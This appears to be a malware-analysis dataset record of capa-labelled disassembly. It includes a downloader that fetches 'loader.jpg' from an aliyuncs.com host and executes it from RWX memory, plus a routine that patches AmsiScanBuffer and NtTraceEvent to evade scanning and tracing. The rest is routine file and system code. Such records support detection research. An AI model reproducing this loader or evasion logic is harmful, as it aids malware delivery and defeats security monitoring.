joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001490
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbp
push rdi
mov eax, 0x4b050
call fcn.140013440
sub rsp, rax
mov rax, qword [0x140023ac0]
xor rax, rsp
mov qword [rsp + 0x4b040], rax
lea rcx, str.RookIE_1.0
xor edi, edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x20], edi
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbp, rax
test rax, rax
je 0x140001659
lea rdx, str.https:__231106.oss_cn_hongkong.aliyuncs.com_loader.jpg
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x4b060], rbx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x4b068], rsi
mov dword [rsp + 0x20], 0x4000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
test rax, rax
je 0x1400015ba
mov ebx, edi
cmp dword [rsp + 0x30], ebx
jbe 0x1400015af
nop
lea r9, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov r8d, 0x4afff
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r11d, dword [rsp + 0x30]
test r11d, r11d
je 0x1400015af
mov r9d, 0x40
mov r8d, 0x1000
test rdi, rdi
jne 0x14000157c
mov edx, r11d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1400015af
mov rcx, rax
jmp 0x140001596
lea edx, [rbx + r11]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x1400015af
mov ecx, ebx
mov rdi, rax
add rcx, rax
mov r8d, dword [rsp + 0x30]
lea rdx, [rsp + 0x40]
call fcn.140007470
mov eax, dword [rsp + 0x30]
add ebx, eax
test eax, eax
jne 0x140001530
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001628
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
call fcn.140004240
mov edx, ebx
mov rcx, rax
call fcn.140001700
mov dl, 0xa
mov rcx, rax
mov rsi, rax
call fcn.1400018e0
mov rcx, qword [rsi]
mov ebx, edi
movsxd rcx, dword [rcx + 4]
test byte [rcx + rsi + 0x10], 6
jne 0x140001604
mov rcx, qword [rcx + rsi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove ebx, ecx
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
add rcx, rsi
test ebx, ebx
je 0x140001628
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], rdi
jne 0x140001620
or edx, 4
xor r8d, r8d
call fcn.140001290
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rsi, qword [rsp + 0x4b068]
mov rbx, qword [rsp + 0x4b060]
test rdi, rdi
je 0x140001659
call rdi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x4b040]
xor rcx, rsp
call fcn.1400071d0
mov rbp, qword [rsp + 0x4b070]
add rsp, 0x4b050
pop rdi
ret
Function at 0x14000c6f3
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140023ac0]
jne 0x1400071ea
rol rcx, 0x10
test cx, 0xffff
jne 0x1400071e6
repz ret
ror rcx, 0x10
jmp 0x14000c64c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140025480]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140025578]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000c6d1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140025480]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000c6f3
mov rax, qword [rsp + 0x88]
mov qword [0x140025578], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140025518], rax
mov rax, qword [0x140025578]
mov qword [0x1400253f0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140025500], rax
mov dword [0x1400253e0], 0xc0000409
mov dword [0x1400253e4], 1
mov rax, qword [0x140023ac0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140023ac8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140025478], eax
mov ecx, 1
call fcn.1400137dc
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14001c4d0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140025478], 0
jne 0x14000c77a
mov ecx, 1
call fcn.1400137dc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x14000d948
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14000d7b8
Function at 0x1400147c4
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140023ac0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14000d0d0
xor ebx, ebx
cmp qword [0x140026420], rbx
mov rdi, rax
jne 0x1400148d7
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x1400149ae
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400149ae
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140026420], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140026428], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140026430], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140026440], rax
test rax, rax
je 0x1400148ce
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140026438], rax
jmp 0x1400148de
mov rax, qword [0x140026438]
jmp 0x1400148e5
mov rax, qword [0x140026438]
mov r11, qword [0x140026440]
cmp rax, rdi
je 0x14001494c
cmp r11, rdi
je 0x14001494c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140026440]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14001494c
test rax, rax
je 0x14001494c
call rsi
test rax, rax
je 0x140014946
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140014946
test byte [rsp + 0x40], 1
jne 0x14001494c
bts ebp, 0x15
jmp 0x14001498c
mov rcx, qword [0x140026428]
cmp rcx, rdi
je 0x14001498c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001498c
call rax
mov rbx, rax
test rax, rax
je 0x14001498c
mov rcx, qword [0x140026430]
cmp rcx, rdi
je 0x14001498c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001498c
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140026420]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400149ae
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x1400149b0
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400071d0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Patch antimalware scan interface function

Disassembly:
sub rsp, 0x68
mov dword [rsp + 0x64], 0
mov qword [rsp + 0x58], rdx
mov dword [rsp + 0x54], ecx
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x4c], 0x83
lea rcx, str.amsi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.AmsiScanBuffer
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov r8d, dword [rsp + 0x4c]
mov ecx, r8d
add rax, rcx
mov rcx, rax
mov edx, 1
mov r8d, 0x40
lea r9, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x40]
mov r8d, dword [rsp + 0x4c]
mov edx, r8d
mov r10b, byte [0x1400128fd]
mov byte [rcx + rdx], r10b
mov r8d, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
mov r11d, dword [rsp + 0x4c]
mov edx, r11d
add rcx, rdx
mov edx, 1
lea r9, [rsp + 0x50]
mov dword [rsp + 0x34], eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.ntdll.dll
mov dword [rsp + 0x30], eax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtTraceEvent
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov rcx, rax
mov edx, 1
mov r8d, 0x40
lea r9, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x38]
mov r10b, byte [0x1400128f0]
mov byte [rcx], r10b
mov r8d, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
mov edx, 1
lea r9, [rsp + 0x50]
mov dword [rsp + 0x2c], eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
mov ecx, r8d
mov dword [rsp + 0x28], eax
call fcn.140001150
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x24], eax
jmp 0x140001131

Function at 0x140002ee4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140003014
Function at 0x406938
Capabilities:
Set file attributes

Disassembly:
test edx, 0xf0000000
je 0x406946
and edx, 0x3fff
jmp fcn.00406890

Function at 0x40694c
Capabilities:
Delete directory

Disassembly:
push rbx
push rdi
sub rsp, 0x48
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rdi, rcx
call fcn.0040a168
mov ebx, eax
cmp eax, 1
je 0x40697c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
je 0x40697c
mov al, 1
jmp 0x4069cd
test ebx, ebx
je 0x4069cb
lea rcx, [rsp + 0x28]
call fcn.00403284
nop
cmp ebx, 1
setne r8b
lea rdx, [rsp + 0x28]
mov rcx, rdi
call fcn.0040a7e4
test al, al
je 0x4069c1
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
setne bl
mov rcx, qword [rsp + 0x28]
call sub.msvcrt.dll_free
mov al, bl
jmp 0x4069cd
mov rcx, qword [rsp + 0x28]
call sub.msvcrt.dll_free
xor al, al
add rsp, 0x48
pop rdi
pop rbx
ret

Function at 0x4069f4
Capabilities:
Move file

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x60
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rbp, rdx
mov r12, rcx
call fcn.0040a168
mov esi, eax
mov rcx, rbp
call fcn.0040a168
mov edi, eax
mov ebx, 1
cmp esi, ebx
je 0x406a43
cmp eax, ebx
je 0x406a43
mov rdx, rbp
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x406a43
mov al, bl
jmp 0x406ad1
test esi, esi
jne 0x406a4f
test edi, edi
je 0x406acf
lea rcx, [rsp + 0x48]
call fcn.00403284
nop
lea rcx, [rsp + 0x38]
call fcn.00403284
nop
cmp esi, ebx
je 0x406a6d
cmp edi, ebx
jne 0x406a6f
xor bl, bl
mov byte [rsp + 0x20], bl
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x48]
mov rdx, rbp
mov rcx, r12
call fcn.0040a824
test al, al
je 0x406aba
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
setne bl
mov rcx, qword [rsp + 0x38]
call sub.msvcrt.dll_free
nop
mov rcx, qword [rsp + 0x48]
call sub.msvcrt.dll_free
mov al, bl
jmp 0x406ad1
mov rcx, qword [rsp + 0x38]
call sub.msvcrt.dll_free
nop
mov rcx, qword [rsp + 0x48]
call sub.msvcrt.dll_free
xor al, al
add rsp, 0x60
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x406c74
Capabilities:
Create directory

Disassembly:
push rbx
push rdi
sub rsp, 0x48
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rdi, rcx
call fcn.0040a168
mov ebx, eax
cmp eax, 1
je 0x406cb3
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x406ca6
mov al, 1
jmp 0x406d06
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x406d04
test ebx, ebx
je 0x406d04
lea rcx, [rsp + 0x28]
call fcn.00403284
nop
cmp ebx, 1
setne r8b
lea rdx, [rsp + 0x28]
mov rcx, rdi
call fcn.0040a7e4
test al, al
je 0x406cfa
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne bl
mov rcx, qword [rsp + 0x28]
call sub.msvcrt.dll_free
mov al, bl
jmp 0x406d06
mov rcx, qword [rsp + 0x28]
call sub.msvcrt.dll_free
xor al, al
add rsp, 0x48
pop rdi
pop rbx
ret
Function at 0x406d38
Capabilities:
Delete file

Disassembly:
push rbx
push rdi
sub rsp, 0x48
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rbx, rcx
call fcn.00407d1c
cmp eax, 0xffffffff
je 0x406d6e
test al, 0x10
jne 0x406d6e
test al, 1
je 0x406d6e
and eax, 0xfffffffe
mov edx, eax
mov rcx, rbx
call fcn.00406890
test al, al
je 0x406ddf
mov rcx, rbx
call fcn.0040a168
mov edi, eax
cmp eax, 1
je 0x406d8e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x406d8e
mov al, 1
jmp 0x406ddf
test edi, edi
je 0x406ddd
lea rcx, [rsp + 0x28]
call fcn.00403284
nop
cmp edi, 1
setne r8b
lea rdx, [rsp + 0x28]
mov rcx, rbx
call fcn.0040a7e4
test al, al
je 0x406dd3
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
setne bl
mov rcx, qword [rsp + 0x28]
call sub.msvcrt.dll_free
mov al, bl
jmp 0x406ddf
mov rcx, qword [rsp + 0x28]
call sub.msvcrt.dll_free
xor al, al
add rsp, 0x48
pop rdi
pop rbx
ret

Function at 0x406e08
Capabilities:
Set current directory

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor ecx, ecx
cmp eax, ecx
setne al
add rsp, 0x28
ret

Function at 0x406ee8
Capabilities:
Get common file path

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x230
mov rax, qword [rcx]
xor esi, esi
mov rdi, rcx
mov dword [rcx + 8], esi
lea rdx, [rsp + 0x20]
mov ecx, 0x105
mov word [rax], si
mov word [rsp + 0x20], si
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov ebx, eax
call fcn.00403418
lea r11d, [rbx - 1]
cmp r11d, 0x103
setbe al
add rsp, 0x230
pop rdi
pop rsi
pop rbx
ret
Function at 0x406f40
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x38
mov rbp, r9
mov rsi, r8
mov r12b, dl
mov r14, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
shl ebx, 2
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
xor edi, ebx
shl edi, 0xc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r13d, eax
xor r13d, edi
xor edi, edi
lea r15d, [rdi + 1]
mov ebx, edi
mov rdx, r14
mov rcx, rsi
call fcn.00403418
cmp r12b, dil
je 0x407023
mov r10d, r13d
mov r9, rdi
mov r11d, 8
mov r8d, r10d
shr r10d, 4
and r8d, 0xf
cmp r8d, 0xa
lea eax, [r8 + 0x37]
lea edx, [r8 + 0x30]
movzx ecx, al
movzx eax, dl
cmovb ecx, eax
mov byte [rsp + r9 + 0x20], cl
add r9, r15
sub r11, r15
jne 0x406fa9
cmp rbp, rdi
mov byte [rsp + r9 + 0x20], dil
je 0x407006
mov eax, dword [rsi + 8]
cmp dword [rsi + 0xc], eax
jne 0x406ff0
mov rcx, rsi
call fcn.00403068
mov edx, dword [rsi + 8]
mov rcx, qword [rsi]
mov word [rcx + rdx*2], 0x2e
add edx, r15d
mov word [rcx + rdx*2], di
mov dword [rsi + 8], edx
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.004036ec
call qword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 2
cmove eax, r15d
add r13d, eax
cmp rbp, rdi
mov r12b, r15b
je 0x40703a
lea rdx, str..tmp
mov rcx, rsi
call fcn.004036ec
mov rcx, qword [rsi]
call fcn.00408784
cmp al, dil
je 0x407054
mov ecx, 0xb7
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x407088
cmp rbp, rdi
je 0x407069
mov rdx, qword [rsi]
xor r8d, r8d
mov rcx, rbp
call fcn.00409238
jmp 0x407071
mov rcx, qword [rsi]
call fcn.00406c74
cmp al, dil
jne 0x4070b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x407088
cmp eax, 0xb7
jne 0x407094
add ebx, r15d
cmp ebx, 0x64
jb 0x406f89
mov rax, qword [rsi]
mov dword [rsi + 8], edi
mov word [rax], di
xor al, al
add rsp, 0x38
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov al, r15b
jmp 0x40709f
Function at 0x407d1c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
push rdi
sub rsp, 0x48
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rdi, rcx
call fcn.0040a168
mov ebx, eax
cmp eax, 1
je 0x407d49
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x407d9a
test ebx, ebx
je 0x407d95
lea rcx, [rsp + 0x28]
call fcn.00403284
nop
cmp ebx, 1
setne r8b
lea rdx, [rsp + 0x28]
mov rcx, rdi
call fcn.0040a7e4
test al, al
je 0x407d8b
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
mov rcx, qword [rsp + 0x28]
call sub.msvcrt.dll_free
mov eax, ebx
jmp 0x407d9a
mov rcx, qword [rsp + 0x28]
call sub.msvcrt.dll_free
mov eax, 0xffffffff
add rsp, 0x48
pop rdi
pop rbx
ret

Function at 0x40880c
Capabilities:
Get disk information

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x48
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov r12, rcx
movsxd rbx, dword [rcx + 8]
mov rdi, rbx
test ebx, ebx
je 0x40885c
shl rdi, 3
add ebx, 0xffffffff
sub rdi, 8
mov rax, qword [r12]
mov rsi, qword [rdi + rax]
test rsi, rsi
je 0x408858
mov rcx, qword [rsi]
call sub.msvcrt.dll_free
mov rcx, rsi
call sub.msvcrt.dll_free
test ebx, ebx
jne 0x408834
mov dword [r12 + 8], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov edi, eax
test eax, eax
je 0x408950
mov rcx, rdi
xor ebx, ebx
mov qword [rsp + 0x80], rbx
test eax, eax
je 0x40889d
add rcx, rcx
call fcn.004021ac
mov rbx, rax
mov qword [rsp + 0x80], rax
mov rdx, rbx
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov esi, eax
test eax, eax
je 0x408946
cmp eax, edi
ja 0x408946
lea rcx, [rsp + 0x28]
call fcn.00403284
nop
xor r13d, r13d
xor edi, edi
test esi, esi
je 0x408927
mov rbp, rbx
cmp word [rbp], 0
jne 0x40891d
lea rdx, [rbx + r13*2]
lea rcx, [rsp + 0x28]
call fcn.00403418
lea r13d, [rdi + 1]
mov ecx, 0x10
call fcn.004021ac
mov qword [rsp + 0x88], rax
test rax, rax
je 0x408910
lea rdx, [rsp + 0x28]
mov rcx, rax
call fcn.00403390
jmp 0x408912
xor eax, eax
mov rdx, rax
mov rcx, r12
call fcn.0040b8e8
inc edi
add rbp, 2
cmp edi, esi
jb 0x4088d1
cmp r13d, esi
sete dil
mov rcx, qword [rsp + 0x28]
call sub.msvcrt.dll_free
nop
mov rcx, rbx
call sub.msvcrt.dll_free
mov al, dil
jmp 0x408950
mov rcx, rbx
call sub.msvcrt.dll_free
xor al, al
add rsp, 0x48
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x4089f4
Capabilities:
Get file size

Disassembly:
push rbx
push rdi
sub rsp, 0x28
cmp byte [rcx + 8], 0
mov rbx, rdx
je 0x408a13
cmp byte [rcx + 9], 0
je 0x408a13
mov rax, qword [rcx + 0x10]
mov qword [rdx], rax
jmp 0x408a47
mov rcx, qword [rcx]
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
mov edi, eax
jne 0x408a36
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x408a36
xor al, al
jmp 0x408a49
mov ecx, dword [rsp + 0x40]
mov rax, rdi
shl rcx, 0x20
add rcx, rdi
mov qword [rbx], rcx
mov al, 1
add rsp, 0x28
pop rdi
pop rbx
ret
Function at 0x408ae4
Capabilities:
Read file on windows

Disassembly:
push rbx
sub rsp, 0x30
mov rcx, qword [rcx]
mov rbx, r9
lea r9, [rsp + 0x58]
mov dword [rsp + 0x58], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [rsp + 0x58]
test eax, eax
setne al
mov dword [rbx], ecx
add rsp, 0x30
pop rbx
ret

Function at 0x408b20
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [0x0046c070]
cmp r8d, eax
cmova r8d, eax
jmp fcn.00408ae4

Function at 0x408be0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x30
mov eax, dword [0x0046c070]
mov rcx, qword [rcx]
mov rbx, r9
cmp r8d, eax
lea r9, [rsp + 0x50]
mov dword [rsp + 0x50], 0
cmova r8d, eax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [rsp + 0x50]
test eax, eax
mov dword [rbx], ecx
setne al
add rsp, 0x30
pop rbx
ret

Function at 0x408c88
Capabilities:
Clear file content

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x20
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rdi, rdx
mov rsi, rcx
call fcn.00408a50
xor ebx, ebx
cmp al, bl
je 0x408cb0
cmp qword [rsp + 0x50], rdi
je 0x408cb4
xor al, al
jmp 0x408cc2
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
cmp eax, ebx
setne al
add rsp, 0x20
pop rdi
pop rsi
pop rbx
ret

Function at 0x409f78
Capabilities:
Get common file path

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x230
mov rax, qword [rcx]
xor esi, esi
mov rdi, rcx
mov dword [rcx + 8], esi
lea rdx, [rsp + 0x20]
mov ecx, 0x105
mov word [rax], si
mov word [rsp + 0x20], si
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov ebx, eax
call fcn.00403418
lea r11d, [rbx - 1]
cmp r11d, 0x103
setbe al
add rsp, 0x230
pop rdi
pop rsi
pop rbx
ret

Function at 0x40aba8
Capabilities:
Get disk size

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x60
mov r12, rcx
lea rcx, [0x0044f9e0]
mov rdi, r9
mov rsi, r8
mov rbx, rdx
xor bpl, bpl
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.GetDiskFreeSpaceExW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x40ac0e
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov rcx, r12
call rax
test eax, eax
mov rax, qword [rsp + 0x40]
mov qword [rsi], rax
mov rax, qword [rsp + 0x48]
setne bpl
mov qword [rdi], rax
lea rax, [rsp + 0x38]
lea r9, [rsp + 0x3c]
lea r8, [rsp + 0x34]
lea rdx, [rsp + 0x30]
mov rcx, r12
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
test eax, eax
je 0x40ac60
mov ecx, dword [rsp + 0x30]
mov eax, dword [rsp + 0x34]
imul rcx, rax
test bpl, bpl
mov qword [rbx], rcx
jne 0x40ac5e
mov eax, dword [rsp + 0x38]
imul rax, rcx
mov qword [rsi], rax
mov eax, dword [rsp + 0x3c]
imul rax, qword [rbx]
mov qword [rdi], rax
mov al, 1
add rsp, 0x60
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x40b448
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rsi
push rdi
mov r11, rsp
sub rsp, 0x40
mov rax, qword [r8]
mov dword [r8 + 8], 0
mov rsi, rcx
mov word [rax], 0
mov rcx, qword [rcx]
lea rax, [r11 + 0x30]
mov rbx, r8
mov qword [r11 - 0x18], rax
lea r9, [r11 - 0x10]
xor r8d, r8d
mov qword [r11 - 0x20], 0
mov rdi, rdx
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x70], 0
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x40b4a7
cmp eax, 0xea
jne 0x40b51d
mov edx, dword [rsp + 0x70]
cmp edx, dword [rbx + 0xc]
mov dword [rsp + 0x78], edx
jbe 0x40b4bc
mov rcx, rbx
call fcn.00402fe0
mov rax, qword [rbx]
lea rcx, [rsp + 0x78]
lea r9, [rsp + 0x34]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsi]
xor r8d, r8d
mov rdx, rdi
mov dword [rsp + 0x34], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rsp + 0x70]
mov rdx, qword [rbx]
cmp ecx, dword [rsp + 0x78]
cmova ecx, dword [rsp + 0x78]
mov dword [rsp + 0x70], ecx
shr rcx, 1
mov word [rdx + rcx*2], 0
xor ecx, ecx
cmp word [rdx], cx
je 0x40b51a
add rdx, 2
inc ecx
cmp word [rdx], 0
jne 0x40b50e
mov dword [rbx + 8], ecx
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret

Function at 0x40b5cc
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x68
lea rcx, [rsp + 0x20]
call fcn.0040b5a4
xor r8d, r8d
cmp eax, r8d
je 0x40b60b
cmp qword [rsp + 0x20], r8
je 0x40b60b
mov rcx, r8
lea eax, [r8 + 0x40]
mov rdx, qword [rsp + 0x20]
shr rdx, cl
inc rcx
and edx, 1
add r8d, edx
dec rax
jne 0x40b5f0
mov eax, r8d
jmp 0x40b61a
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x50]
add rsp, 0x68
ret

Function at 0x40b620
Capabilities:
Get memory capacity

Disassembly:
push rbx
sub rsp, 0x60
movabs rax, 0x100000000
mov rbx, rcx
mov dword [rsp + 0x20], 0x40
